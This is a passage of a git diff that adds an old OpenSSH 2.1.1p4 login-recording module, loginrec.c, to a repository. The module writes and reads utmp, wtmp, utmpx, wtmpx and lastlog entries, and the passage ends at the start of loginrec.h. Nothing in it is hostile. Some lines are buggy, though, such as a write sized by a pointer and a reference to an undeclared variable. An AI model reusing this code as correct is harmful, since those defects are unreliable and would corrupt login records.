+#endif + +int utmp_write_entry(struct logininfo *li); +int utmpx_write_entry(struct logininfo *li); +int wtmp_write_entry(struct logininfo *li); +int wtmpx_write_entry(struct logininfo *li); +int lastlog_write_entry(struct logininfo *li); +int syslogin_write_entry(struct logininfo *li); + +int getlast_entry(struct logininfo *li); +int lastlog_get_entry(struct logininfo *li); +int wtmp_get_entry(struct logininfo *li); +int wtmpx_get_entry(struct logininfo *li); + +/* pick the shortest string */ +#define MIN_SIZEOF(s1,s2) ( sizeof(s1) < sizeof(s2) ? sizeof(s1) : sizeof(s2) ) + +/** + ** platform-independent login functions + **/ + +/* login_login(struct logininfo *) -Record a login + * + * Call with a pointer to a struct logininfo initialised with + * login_init_entry() or login_alloc_entry() + * + * Returns: + * >0 if successful + * 0 on failure (will use OpenSSH's logging facilities for diagnostics) + */ +int +login_login (struct logininfo *li) +{ + li->type = LTYPE_LOGIN; + return login_write(li); +} + + +/* login_logout(struct logininfo *) - Record a logout + * + * Call as with login_login() + * + * Returns: + * >0 if successful + * 0 on failure (will use OpenSSH's logging facilities for diagnostics) + */ +int +login_logout(struct logininfo *li) +{ + li->type = LTYPE_LOGOUT; + return login_write(li); +} + +/* login_get_lastlog_time(int) - Retrieve the last login time + * + * Retrieve the last login time for the given uid. Will try to use the + * system lastlog facilities if they are available, but will fall back + * to looking in wtmp/wtmpx if necessary + * + * Returns: + * 0 on failure, or if user has never logged in + * Time in seconds from the epoch if successful + * + * Useful preprocessor symbols: + * DISABLE_LASTLOG: If set, *never* even try to retrieve lastlog + * info + * USE_LASTLOG: If set, indicates the presence of system lastlog + * facilities. If this and DISABLE_LASTLOG are not set, + * try to retrieve lastlog information from wtmp/wtmpx. + */ +unsigned int +login_get_lastlog_time(const int uid) +{ + struct logininfo li; + + if (login_get_lastlog(&li, uid)) + return li.tv_sec; + else + return 0; +} + +/* login_get_lastlog(struct logininfo *, int) - Retrieve a lastlog entry + * + * Retrieve a logininfo structure populated (only partially) with + * information from the system lastlog data, or from wtmp/wtmpx if no + * system lastlog information exists. + * + * Note this routine must be given a pre-allocated logininfo. + * + * Returns: + * >0: A pointer to your struct logininfo if successful + * 0 on failure (will use OpenSSH's logging facilities for diagnostics) + * + */ +struct logininfo * +login_get_lastlog(struct logininfo *li, const int uid) +{ + struct passwd *pw; + + memset(li, '\0', sizeof(struct logininfo)); + li->uid = uid; + + /* + * If we don't have a 'real' lastlog, we need the username to + * reliably search wtmp(x) for the last login (see + * wtmp_get_entry().) + */ + pw = getpwuid(uid); + if (pw == NULL) + fatal("login_get_lastlog: Cannot find account for uid %i", uid); + + /* No MIN_SIZEOF here - we absolutely *must not* truncate the + * username */ + strlcpy(li->username, pw->pw_name, sizeof(li->username)); + + if (getlast_entry(li)) + return li; + else + return NULL; +} + + +/* login_alloc_entry(int, char*, char*, char*) - Allocate and initialise + * a logininfo structure + * + * This function creates a new struct logininfo, a data structure + * meant to carry the information required to portably record login info. + * + * Returns a pointer to a newly created struct logininfo. If memory + * allocation fails, the program halts. + */ +struct +logininfo *login_alloc_entry(int pid, const char *username, + const char *hostname, const char *line) +{ + struct logininfo *newli; + + newli = (struct logininfo *) xmalloc (sizeof(struct logininfo)); + (void)login_init_entry(newli, pid, username, hostname, line); + return newli; +} + + +/* login_free_entry(struct logininfo *) - free struct memory */ +void +login_free_entry(struct logininfo *li) +{ + xfree(li); +} + + +/* login_init_entry(struct logininfo *, int, char*, char*, char*) + * - initialise a struct logininfo + * + * Populates a new struct logininfo, a data structure meant to carry + * the information required to portably record login info. + * + * Returns: 1 + */ +int +login_init_entry(struct logininfo *li, int pid, const char *username, + const char *hostname, const char *line) +{ + struct passwd *pw; + + memset(li, 0, sizeof(struct logininfo)); + + li->pid = pid; + + /* set the line information */ + if (line) + line_fullname(li->line, line, sizeof(li->line)); + + if (username) { + strlcpy(li->username, username, sizeof(li->username)); + pw = getpwnam(li->username); + if (pw == NULL) + fatal("login_init_entry: Cannot find user \"%s\"", li->username); + li->uid = pw->pw_uid; + } + + if (hostname) + strlcpy(li->hostname, hostname, sizeof(li->hostname)); + + return 1; +} + +/* login_set_current_time(struct logininfo *) - set the current time + * + * Set the current time in a logininfo structure. This function is + * meant to eliminate the need to deal with system dependencies for + * time handling. + */ +void +login_set_current_time(struct logininfo *li) +{ + struct timeval tv; + + gettimeofday(&tv, NULL); + + li->tv_sec = tv.tv_sec; + li->tv_usec = tv.tv_usec; +} + +/* copy a sockaddr_* into our logininfo */ +void +login_set_addr(struct logininfo *li, const struct sockaddr *sa, + const unsigned int sa_size) +{ + unsigned int bufsize = sa_size; + + /* make sure we don't overrun our union */ + if (sizeof(li->hostaddr) < sa_size) + bufsize = sizeof(li->hostaddr); + + memcpy((void *)&(li->hostaddr.sa), (const void *)sa, bufsize); +} + + +/** + ** login_write: Call low-level recording functions based on autoconf + ** results + **/ +int +login_write (struct logininfo *li) +{ + if ((int)geteuid() != 0) { + log("Attempt to write login records by non-root user (aborting)"); + return 1; + } + + /* set the timestamp */ + login_set_current_time(li); +#ifdef USE_LOGIN + syslogin_write_entry(li); +#endif +#ifdef USE_LASTLOG + if (li->type == LTYPE_LOGIN) { + lastlog_write_entry(li); + } +#endif +#ifdef USE_UTMP + utmp_write_entry(li); +#endif +#ifdef USE_WTMP + wtmp_write_entry(li); +#endif +#ifdef USE_UTMPX + utmpx_write_entry(li); +#endif +#ifdef USE_WTMPX + wtmpx_write_entry(li); +#endif + return 0; +} + +/** + ** getlast_entry: Call low-level functions to retrieve the last login + ** time. + **/ + +/* take the uid in li and return the last login time */ +int +getlast_entry(struct logininfo *li) +{ +#ifdef USE_LASTLOG + return(lastlog_get_entry(li)); +#else /* !USE_LASTLOG */ + +#ifdef DISABLE_LASTLOG + /* On some systems we shouldn't even try to obtain last login + * time, e.g. AIX */ + return 0; +# else /* DISABLE_LASTLOG */ + /* Try to retrieve the last login time from wtmp */ +# if defined(USE_WTMP) && (defined(HAVE_TIME_IN_UTMP) || defined(HAVE_TV_IN_UTMP)) + /* retrieve last login time from utmp */ + return (wtmp_get_entry(li)); +# else /* defined(USE_WTMP) && (defined(HAVE_TIME_IN_UTMP) || defined(HAVE_TV_IN_UTMP)) */ + /* If wtmp isn't available, try wtmpx */ +# if defined(USE_WTMPX) && (defined(HAVE_TIME_IN_UTMPX) || defined(HAVE_TV_IN_UTMPX)) + /* retrieve last login time from utmpx */ + return (wtmpx_get_entry(li)); +# else + /* Give up: No means of retrieving last login time */ + return 0; +# endif /* USE_WTMPX && (HAVE_TIME_IN_UTMPX || HAVE_TV_IN_UTMPX) */ +# endif /* USE_WTMP && (HAVE_TIME_IN_UTMP || HAVE_TV_IN_UTMP) */ +# endif /* DISABLE_LASTLOG */ +#endif /* USE_LASTLOG */ +} + + + +/* + * 'line' string utility functions + * + * These functions process the 'line' string into one of three forms: + * + * 1. The full filename (including '/dev') + * 2. The stripped name (excluding '/dev') + * 3. The abbreviated name (e.g. /dev/ttyp00 -> yp00 + * /dev/pts/1 -> ts/1 ) + * + * Form 3 is used on some systems to identify a .tmp.? entry when + * attempting to remove it. Typically both addition and removal is + * performed by one application - say, sshd - so as long as the choice + * uniquely identifies a terminal it's ok. + */ + + +/* line_fullname(): add the leading '/dev/' if it doesn't exist make + * sure dst has enough space, if not just copy src (ugh) */ +char * +line_fullname(char *dst, const char *src, int dstsize) +{ + memset(dst, '\0', dstsize); + if ((strncmp(src, "/dev/", 5) == 0) || (dstsize < (strlen(src) + 5))) + strlcpy(dst, src, dstsize); + else { + strlcpy(dst, "/dev/", dstsize); + strlcat(dst, src, dstsize); + } + return dst; +} + +/* line_stripname(): strip the leading '/dev' if it exists, return dst */ +char * +line_stripname(char *dst, const char *src, int dstsize) +{ + memset(dst, '\0', dstsize); + if (strncmp(src, "/dev/", 5) == 0) + strlcpy(dst, &src[5], dstsize); + else + strlcpy(dst, src, dstsize); + return dst; +} + +/* line_abbrevname(): Return the abbreviated (usually four-character) + * form of the line (Just use the last characters of the + * full name.) + * + * NOTE: use strncpy because we do NOT necessarily want zero + * termination */ +char * +line_abbrevname(char *dst, const char *src, int dstsize) +{ + size_t len; + + memset(dst, '\0', dstsize); + + /* Always skip prefix if present */ + if (strncmp(src, "/dev/", 5) == 0) + src += 5; + + len = strlen(src); + + if (len > 0) { + if (((int)len - dstsize) > 0) + src += ((int)len - dstsize); + + /* note: _don't_ change this to strlcpy */ + strncpy(dst, src, (size_t)dstsize); + } + + return dst; +} + +/** + ** utmp utility functions + ** + ** These functions manipulate struct utmp, taking system differences + ** into account. + **/ + +#if defined(USE_UTMP) || defined (USE_WTMP) || defined (USE_LOGIN) + +/* build the utmp structure */ +void +set_utmp_time(struct logininfo *li, struct utmp *ut) +{ +# ifdef HAVE_TV_IN_UTMP + ut->ut_tv.tv_sec = li->tv_sec; + ut->ut_tv.tv_usec = li->tv_usec; +# else +# ifdef HAVE_TIME_IN_UTMP + ut->ut_time = li->tv_sec; +# endif +# endif +} + +void +construct_utmp(struct logininfo *li, + struct utmp *ut) +{ + memset(ut, '\0', sizeof(struct utmp)); + + /* First fill out fields used for both logins and logouts */ + +# ifdef HAVE_ID_IN_UTMP + line_abbrevname(ut->ut_id, li->line, sizeof(ut->ut_id)); +# endif + +# ifdef HAVE_TYPE_IN_UTMP + /* This is done here to keep utmp constants out of struct logininfo */ + switch (li->type) { + case LTYPE_LOGIN: + ut->ut_type = USER_PROCESS; + break; + case LTYPE_LOGOUT: + ut->ut_type = DEAD_PROCESS; + break; + } +# endif + set_utmp_time(li, ut); + + line_stripname(ut->ut_line, li->line, sizeof(ut->ut_line)); + +# ifdef HAVE_PID_IN_UTMP + ut->ut_pid = li->pid; +# endif + + /* If we're logging out, leave all other fields blank */ + if (li->type == LTYPE_LOGOUT) + return; + + /* + * These fields are only used when logging in, and are blank + * for logouts. + */ + + /* Use strncpy because we don't necessarily want null termination */ + strncpy(ut->ut_name, li->username, MIN_SIZEOF(ut->ut_name, li->username)); +# ifdef HAVE_HOST_IN_UTMP + strncpy(ut->ut_host, li->hostname, MIN_SIZEOF(ut->ut_host, li->hostname)); +# endif +# ifdef HAVE_ADDR_IN_UTMP + /* this is just a 32-bit IP address */ + if (li->hostaddr.sa.sa_family == AF_INET) + ut->ut_addr = li->hostaddr.sa_in.sin_addr.s_addr; +# endif +} +#endif /* USE_UTMP || USE_WTMP || USE_LOGIN */ + +/** + ** utmpx utility functions + ** + ** These functions manipulate struct utmpx, accounting for system + ** variations. + **/ + +#if defined(USE_UTMPX) || defined (USE_WTMPX) +/* build the utmpx structure */ +void +set_utmpx_time(struct logininfo *li, struct utmpx *utx) +{ +# ifdef HAVE_TV_IN_UTMPX + utx->ut_tv.tv_sec = li->tv_sec; + utx->ut_tv.tv_usec = li->tv_usec; +# else /* HAVE_TV_IN_UTMPX */ +# ifdef HAVE_TIME_IN_UTMPX + utx->ut_time = li->tv_sec; +# endif /* HAVE_TIME_IN_UTMPX */ +# endif /* HAVE_TV_IN_UTMPX */ +} + +void +construct_utmpx(struct logininfo *li, struct utmpx *utx) +{ + memset(utx, '\0', sizeof(struct utmpx)); +# ifdef HAVE_ID_IN_UTMPX + line_abbrevname(utx->ut_id, li->line, sizeof(utx->ut_id)); +# endif + + /* this is done here to keep utmp constants out of loginrec.h */ + switch (li->type) { + case LTYPE_LOGIN: + utx->ut_type = USER_PROCESS; + break; + case LTYPE_LOGOUT: + utx->ut_type = DEAD_PROCESS; + break; + } + line_stripname(utx->ut_line, li->line, sizeof(utx->ut_line)); + set_utmpx_time(li, utx); + utx->ut_pid = li->pid; + + if (li->type == LTYPE_LOGOUT) + return; + + /* + * These fields are only used when logging in, and are blank + * for logouts. + */ + + /* strncpy(): Don't necessarily want null termination */ + strncpy(utx->ut_name, li->username, MIN_SIZEOF(utx->ut_name, li->username)); +# ifdef HAVE_HOST_IN_UTMPX + strncpy(utx->ut_host, li->hostname, MIN_SIZEOF(utx->ut_host, li->hostname)); +# endif +# ifdef HAVE_ADDR_IN_UTMPX + /* FIXME: (ATL) not supported yet */ +# endif +# ifdef HAVE_SYSLEN_IN_UTMPX + /* ut_syslen is the length of the utx_host string */ + utx->ut_syslen = MIN(strlen(li->hostname), sizeof(utx->ut_host)); +# endif +} +#endif /* USE_UTMPX || USE_WTMPX */ + +/** + ** Low-level utmp functions + **/ + +/* FIXME: (ATL) utmp_write_direct needs testing */ +#ifdef USE_UTMP + +/* if we can, use pututline() etc. */ +# if !defined(DISABLE_PUTUTLINE) && defined(HAVE_SETUTENT) && \ + defined(HAVE_PUTUTLINE) +# define UTMP_USE_LIBRARY +# endif + + +/* write a utmp entry with the system's help (pututline() and pals) */ +# ifdef UTMP_USE_LIBRARY +static int +utmp_write_library(struct logininfo *li, struct utmp *ut) +{ + setutent(); + pututline(ut); + +# ifdef HAVE_ENDUTENT + endutent(); +# endif + return 1; +} +# else /* UTMP_USE_LIBRARY */ + +/* write a utmp entry direct to the file */ +/* This is a slightly modification of code in OpenBSD's login.c */ +static int +utmp_write_direct(struct logininfo *li, struct utmp *ut) +{ + struct utmp old_ut; + register int fd; + int tty; + + /* FIXME: (ATL) ttyslot() needs local implementation */ + tty = ttyslot(); /* seems only to work for /dev/ttyp? style names */ + + if (tty > 0 && (fd = open(UTMP_FILE, O_RDWR|O_CREAT, 0644)) >= 0) { + (void)lseek(fd, (off_t)(tty * sizeof(struct utmp)), SEEK_SET); + /* + * Prevent luser from zero'ing out ut_host. + * If the new ut_line is empty but the old one is not + * and ut_line and ut_name match, preserve the old ut_line. + */ + if (atomicio(read, fd, &old_ut, sizeof(old_ut)) == sizeof(old_ut) && + (ut->ut_host[0] == '\0') && (old_ut.ut_host[0] != '\0') && + (strncmp(old_ut.ut_line, ut->ut_line, sizeof(ut->ut_line)) == 0) && + (strncmp(old_ut.ut_name, ut->ut_name, sizeof(ut->ut_name)) == 0)) { + (void)memcpy(ut->ut_host, old_ut.ut_host, sizeof(ut->ut_host)); + } + + (void)lseek(fd, (off_t)(tty * sizeof(struct utmp)), SEEK_SET); + if (atomicio(write, fd, ut, sizeof(ut)) != sizeof(ut)) + log("utmp_write_direct: error writing %s: %s", + UTMP_FILE, strerror(errno)); + + (void)close(fd); + return 1; + } else { + return 0; + } +} +# endif /* UTMP_USE_LIBRARY */ + +static int +utmp_perform_login(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); +# ifdef UTMP_USE_LIBRARY + if (!utmp_write_library(li, &ut)) { + log("utmp_perform_login: utmp_write_library() failed"); + return 0; + } +# else + if (!utmp_write_direct(li, &ut)) { + log("utmp_perform_login: utmp_write_direct() failed"); + return 0; + } +# endif + return 1; +} + + +static int +utmp_perform_logout(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); +# ifdef UTMP_USE_LIBRARY + if (!utmp_write_library(li, &ut)) { + log("utmp_perform_logout: utmp_write_library() failed"); + return 0; + } +# else + if (!utmp_write_direct(li, &ut)) { + log("utmp_perform_logout: utmp_write_direct() failed"); + return 0; + } +# endif + return 1; +} + + +int +utmp_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return utmp_perform_login(li); + + case LTYPE_LOGOUT: + return utmp_perform_logout(li); + + default: + log("utmp_write_entry: invalid type field"); + return 0; + } +} +#endif /* USE_UTMP */ + + +/** + ** Low-level utmpx functions + **/ + +/* not much point if we don't want utmpx entries */ +#ifdef USE_UTMPX + +/* if we have the wherewithall, use pututxline etc. */ +# if !defined(DISABLE_PUTUTXLINE) && defined(HAVE_SETUTXENT) && \ + defined(HAVE_PUTUTXLINE) +# define UTMPX_USE_LIBRARY +# endif + + +/* write a utmpx entry with the system's help (pututxline() and pals) */ +# ifdef UTMPX_USE_LIBRARY +static int +utmpx_write_library(struct logininfo *li, struct utmpx *utx) +{ + setutxent(); + pututxline(utx); + +# ifdef HAVE_ENDUTXENT + endutxent(); +# endif + return 1; +} + +# else /* UTMPX_USE_LIBRARY */ + +/* write a utmp entry direct to the file */ +static int +utmpx_write_direct(struct logininfo *li, struct utmpx *utx) +{ + log("utmpx_write_direct: not implemented!"); + return 0; +} +# endif /* UTMPX_USE_LIBRARY */ + +static int +utmpx_perform_login(struct logininfo *li) +{ + struct utmpx utx; + + construct_utmpx(li, &utx); +# ifdef UTMPX_USE_LIBRARY + if (!utmpx_write_library(li, &utx)) { + log("utmpx_perform_login: utmp_write_library() failed"); + return 0; + } +# else + if (!utmpx_write_direct(li, &ut)) { + log("utmpx_perform_login: utmp_write_direct() failed"); + return 0; + } +# endif + return 1; +} + + +static int +utmpx_perform_logout(struct logininfo *li) +{ + struct utmpx utx; + + memset(&utx, '\0', sizeof(utx)); + set_utmpx_time(li, &utx); + line_stripname(utx.ut_line, li->line, sizeof(utx.ut_line)); +# ifdef HAVE_ID_IN_UTMPX + line_abbrevname(utx.ut_id, li->line, sizeof(utx.ut_id)); +# endif +# ifdef HAVE_TYPE_IN_UTMPX + utx.ut_type = DEAD_PROCESS; +# endif + +# ifdef UTMPX_USE_LIBRARY + utmpx_write_library(li, &utx); +# else + utmpx_write_direct(li, &utx); +# endif + return 1; +} + +int +utmpx_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return utmpx_perform_login(li); + case LTYPE_LOGOUT: + return utmpx_perform_logout(li); + default: + log("utmpx_write_entry: invalid type field"); + return 0; + } +} +#endif /* USE_UTMPX */ + + +/** + ** Low-level wtmp functions + **/ + +#ifdef USE_WTMP + +/* write a wtmp entry direct to the end of the file */ +/* This is a slight modification of code in OpenBSD's logwtmp.c */ +static int +wtmp_write(struct logininfo *li, struct utmp *ut) +{ + struct stat buf; + int fd, ret = 1; + + if ((fd = open(WTMP_FILE, O_WRONLY|O_APPEND, 0)) < 0) { + log("wtmp_write: problem writing %s: %s", + WTMP_FILE, strerror(errno)); + return 0; + } + if (fstat(fd, &buf) == 0) + if (atomicio(write, fd, ut, sizeof(*ut)) != sizeof(*ut)) { + ftruncate(fd, buf.st_size); + log("wtmp_write: problem writing %s: %s", + WTMP_FILE, strerror(errno)); + ret = 0; + } + (void)close(fd); + return ret; +} + +static int +wtmp_perform_login(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); + return wtmp_write(li, &ut); +} + + +static int +wtmp_perform_logout(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); + return wtmp_write(li, &ut); +} + + +int +wtmp_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return wtmp_perform_login(li); + case LTYPE_LOGOUT: + return wtmp_perform_logout(li); + default: + log("wtmp_write_entry: invalid type field"); + return 0; + } +} + + +/* Notes on fetching login data from wtmp/wtmpx + * + * Logouts are usually recorded with (amongst other things) a blank + * username on a given tty line. However, some systems (HP-UX is one) + * leave all fields set, but change the ut_type field to DEAD_PROCESS. + * + * Since we're only looking for logins here, we know that the username + * must be set correctly. On systems that leave it in, we check for + * ut_type==USER_PROCESS (indicating a login.) + * + * Portability: Some systems may set something other than USER_PROCESS + * to indicate a login process. I don't know of any as I write. Also, + * it's possible that some systems may both leave the username in + * place and not have ut_type. + */ + +/* return true if this wtmp entry indicates a login */ +static int +wtmp_islogin(struct logininfo *li, struct utmp *ut) +{ + if (strncmp(li->username, ut->ut_name, + MIN_SIZEOF(li->username, ut->ut_name)) == 0) { +# ifdef HAVE_TYPE_IN_UTMP + if (ut->ut_type & USER_PROCESS) + return 1; +# else + return 1; +# endif + } + return 0; +} + +int +wtmp_get_entry(struct logininfo *li) +{ + struct stat st; + struct utmp ut; + int fd, found=0; + + /* Clear the time entries in our logininfo */ + li->tv_sec = li->tv_usec = 0; + + if ((fd = open(WTMP_FILE, O_RDONLY)) < 0) { + log("wtmp_get_entry: problem opening %s: %s", + WTMP_FILE, strerror(errno)); + return 0; + } + if (fstat(fd, &st) != 0) { + log("wtmp_get_entry: couldn't stat %s: %s", + WTMP_FILE, strerror(errno)); + close(fd); + return 0; + } + + /* Seek to the start of the last struct utmp */ + if (lseek(fd, (off_t)(0-sizeof(struct utmp)), SEEK_END) == -1) { + /* Looks like we've got a fresh wtmp file */ + close(fd); + return 0; + } + + while (!found) { + if (atomicio(read, fd, &ut, sizeof(ut)) != sizeof(ut)) { + log("wtmp_get_entry: read of %s failed: %s", + WTMP_FILE, strerror(errno)); + close (fd); + return 0; + } + if ( wtmp_islogin(li, &ut) ) { + found = 1; + /* We've already checked for a time in struct + * utmp, in login_getlast(). */ +# ifdef HAVE_TIME_IN_UTMP + li->tv_sec = ut.ut_time; +# else +# if HAVE_TV_IN_UTMP + li->tv_sec = ut.ut_tv.tv_sec; +# endif +# endif + line_fullname(li->line, ut.ut_line, + MIN_SIZEOF(li->line, ut.ut_line)); +# ifdef HAVE_HOST_IN_UTMP + strlcpy(li->hostname, ut.ut_host, + MIN_SIZEOF(li->hostname, ut.ut_host)); +# endif + continue; + } + /* Seek back 2 x struct utmp */ + if (lseek(fd, (off_t)(0-2*sizeof(struct utmp)), SEEK_CUR) == -1) { + /* We've found the start of the file, so quit */ + close (fd); + return 0; + } + } + + /* We found an entry. Tidy up and return */ + close(fd); + return 1; +} +# endif /* USE_WTMP */ + + +/** + ** Low-level wtmpx functions + **/ + +#ifdef USE_WTMPX +/* write a wtmpx entry direct to the end of the file */ +/* This is a slight modification of code in OpenBSD's logwtmp.c */ +static int +wtmpx_write(struct logininfo *li, struct utmpx *utx) +{ + struct stat buf; + int fd, ret = 1; + + if ((fd = open(WTMPX_FILE, O_WRONLY|O_APPEND, 0)) < 0) { + log("wtmpx_write: problem opening %s: %s", + WTMPX_FILE, strerror(errno)); + return 0; + } + + if (fstat(fd, &buf) == 0) + if (atomicio(write, fd, utx, sizeof(*utx)) != sizeof(*utx)) { + ftruncate(fd, buf.st_size); + log("wtmpx_write: problem writing %s: %s", + WTMPX_FILE, strerror(errno)); + ret = 0; + } + (void)close(fd); + + return ret; +} + + +static int +wtmpx_perform_login(struct logininfo *li) +{ + struct utmpx utx; + + construct_utmpx(li, &utx); + return wtmpx_write(li, &utx); +} + + +static int +wtmpx_perform_logout(struct logininfo *li) +{ + struct utmpx utx; + + construct_utmpx(li, &utx); + return wtmpx_write(li, &utx); +} + + +int +wtmpx_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return wtmpx_perform_login(li); + case LTYPE_LOGOUT: + return wtmpx_perform_logout(li); + default: + log("wtmpx_write_entry: invalid type field"); + return 0; + } +} + +/* Please see the notes above wtmp_islogin() for information about the + next two functions */ + +/* Return true if this wtmpx entry indicates a login */ +static int +wtmpx_islogin(struct logininfo *li, struct utmpx *utx) +{ + if ( strncmp(li->username, utx->ut_name, + MIN_SIZEOF(li->username, utx->ut_name)) == 0 ) { +# ifdef HAVE_TYPE_IN_UTMPX + if (utx->ut_type == USER_PROCESS) + return 1; +# else + return 1; +# endif + } + return 0; +} + + +int +wtmpx_get_entry(struct logininfo *li) +{ + struct stat st; + struct utmpx utx; + int fd, found=0; + + /* Clear the time entries */ + li->tv_sec = li->tv_usec = 0; + + if ((fd = open(WTMPX_FILE, O_RDONLY)) < 0) { + log("wtmpx_get_entry: problem opening %s: %s", + WTMPX_FILE, strerror(errno)); + return 0; + } + if (fstat(fd, &st) != 0) { + log("wtmpx_get_entry: couldn't stat %s: %s", + WTMP_FILE, strerror(errno)); + close(fd); + return 0; + } + + /* Seek to the start of the last struct utmpx */ + if (lseek(fd, (off_t)(0-sizeof(struct utmpx)), SEEK_END) == -1 ) { + /* probably a newly rotated wtmpx file */ + close(fd); + return 0; + } + + while (!found) { + if (atomicio(read, fd, &utx, sizeof(utx)) != sizeof(utx)) { + log("wtmpx_get_entry: read of %s failed: %s", + WTMPX_FILE, strerror(errno)); + close (fd); + return 0; + } + /* Logouts are recorded as a blank username on a particular line. + * So, we just need to find the username in struct utmpx */ + if ( wtmpx_islogin(li, &utx) ) { +# ifdef HAVE_TV_IN_UTMPX + li->tv_sec = utx.ut_tv.tv_sec; +# else +# ifdef HAVE_TIME_IN_UTMPX + li->tv_sec = utx.ut_time; +# endif +# endif + line_fullname(li->line, utx.ut_line, sizeof(li->line)); +# ifdef HAVE_HOST_IN_UTMPX + strlcpy(li->hostname, utx.ut_host, + MIN_SIZEOF(li->hostname, utx.ut_host)); +# endif + continue; + } + if (lseek(fd, (off_t)(0-2*sizeof(struct utmpx)), SEEK_CUR) == -1) { + close (fd); + return 0; + } + } + + close(fd); + return 1; +} +#endif /* USE_WTMPX */ + +/** + ** Low-level libutil login() functions + **/ + +#ifdef USE_LOGIN +static int +syslogin_perform_login(struct logininfo *li) +{ + struct utmp *ut; + + if (! (ut = (struct utmp *)malloc(sizeof(struct utmp)))) { + log("syslogin_perform_login: couldn't malloc()"); + return 0; + } + construct_utmp(li, ut); + login(ut); + + return 1; +} + +static int +syslogin_perform_logout(struct logininfo *li) +{ +# ifdef HAVE_LOGOUT + char line[8]; + + (void)line_stripname(line, li->line, sizeof(line)); + + if (!logout(line)) { + log("syslogin_perform_logout: logout() returned an error"); +# ifdef HAVE_LOGWTMP + } else { + logwtmp(line, "", ""); +# endif + } + /* FIXME: (ATL - if the need arises) What to do if we have + * login, but no logout? what if logout but no logwtmp? All + * routines are in libutil so they should all be there, + * but... */ +# endif + return 1; +} + +int +syslogin_write_entry(struct logininfo *li) +{ + switch (li->type) { + case LTYPE_LOGIN: + return syslogin_perform_login(li); + case LTYPE_LOGOUT: + return syslogin_perform_logout(li); + default: + log("syslogin_write_entry: Invalid type field"); + return 0; + } +} +#endif /* USE_LOGIN */ + +/* end of file log-syslogin.c */ + +/** + ** Low-level lastlog functions + **/ + +#ifdef USE_LASTLOG +#define LL_FILE 1 +#define LL_DIR 2 +#define LL_OTHER 3 + +static void +lastlog_construct(struct logininfo *li, struct lastlog *last) +{ + /* clear the structure */ + memset(last, '\0', sizeof(struct lastlog)); + + (void)line_stripname(last->ll_line, li->line, sizeof(last->ll_line)); + strlcpy(last->ll_host, li->hostname, + MIN_SIZEOF(last->ll_host, li->hostname)); + last->ll_time = li->tv_sec; +} + +static int +lastlog_filetype(char *filename) +{ + struct stat st; + + if (stat(LASTLOG_FILE, &st) != 0) { + log("lastlog_perform_login: Couldn't stat %s: %s", LASTLOG_FILE, + strerror(errno)); + return 0; + } + if (S_ISDIR(st.st_mode)) + return LL_DIR; + else if (S_ISREG(st.st_mode)) + return LL_FILE; + else + return LL_OTHER; +} + + +/* open the file (using filemode) and seek to the login entry */ +static int +lastlog_openseek(struct logininfo *li, int *fd, int filemode) +{ + off_t offset; + int type; + char lastlog_file[1024]; + + type = lastlog_filetype(LASTLOG_FILE); + switch (type) { + case LL_FILE: + strlcpy(lastlog_file, LASTLOG_FILE, sizeof(lastlog_file)); + break; + case LL_DIR: + snprintf(lastlog_file, sizeof(lastlog_file), "%s/%s", + LASTLOG_FILE, li->username); + break; + default: + log("lastlog_openseek: %.100s is not a file or directory!", + LASTLOG_FILE); + return 0; + } + + *fd = open(lastlog_file, filemode); + if ( *fd < 0) { + debug("lastlog_openseek: Couldn't open %s: %s", + lastlog_file, strerror(errno)); + return 0; + } + + /* find this uid's offset in the lastlog file */ + offset = (off_t) ( (long)li->uid * sizeof(struct lastlog)); + + if ( lseek(*fd, offset, SEEK_SET) != offset ) { + log("lastlog_openseek: %s->lseek(): %s", + lastlog_file, strerror(errno)); + return 0; + } + return 1; +} + +static int +lastlog_perform_login(struct logininfo *li) +{ + struct lastlog last; + int fd; + + /* create our struct lastlog */ + lastlog_construct(li, &last); + + /* write the entry */ + if (lastlog_openseek(li, &fd, O_RDWR|O_CREAT)) { + if (atomicio(write, fd, &last, sizeof(last)) != sizeof(last)) { + log("lastlog_write_filemode: Error writing to %s: %s", + LASTLOG_FILE, strerror(errno)); + return 0; + } + return 1; + } else { + return 0; + } +} + +int +lastlog_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return lastlog_perform_login(li); + default: + log("lastlog_write_entry: Invalid type field"); + return 0; + } +} + +static void +lastlog_populate_entry(struct logininfo *li, struct lastlog *last) +{ + line_fullname(li->line, last->ll_line, sizeof(li->line)); + strlcpy(li->hostname, last->ll_host, + MIN_SIZEOF(li->hostname, last->ll_host)); + li->tv_sec = last->ll_time; +} + +int +lastlog_get_entry(struct logininfo *li) +{ + struct lastlog last; + int fd; + + if (lastlog_openseek(li, &fd, O_RDONLY)) { + if (atomicio(read, fd, &last, sizeof(last)) != sizeof(last)) { + log("lastlog_get_entry: Error reading from %s: %s", + LASTLOG_FILE, strerror(errno)); + return 0; + } else { + lastlog_populate_entry(li, &last); + return 1; + } + } else { + return 0; + } +} +#endif /* USE_LASTLOG */ diff --git a/other/openssh-2.1.1p4/loginrec.h b/other/openssh-2.1.1p4/loginrec.h new file mode 100644 index 0000000..b3dbb43 --- /dev/null +++ b/other/openssh-2.1.1p4/loginrec.h @@ -0,0 +1,137 @@ +#ifndef _HAVE_LOGINREC_H_ +#define _HAVE_LOGINREC_H_ + +/* + * Copyright (c) 2000 Andre Lucas. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF 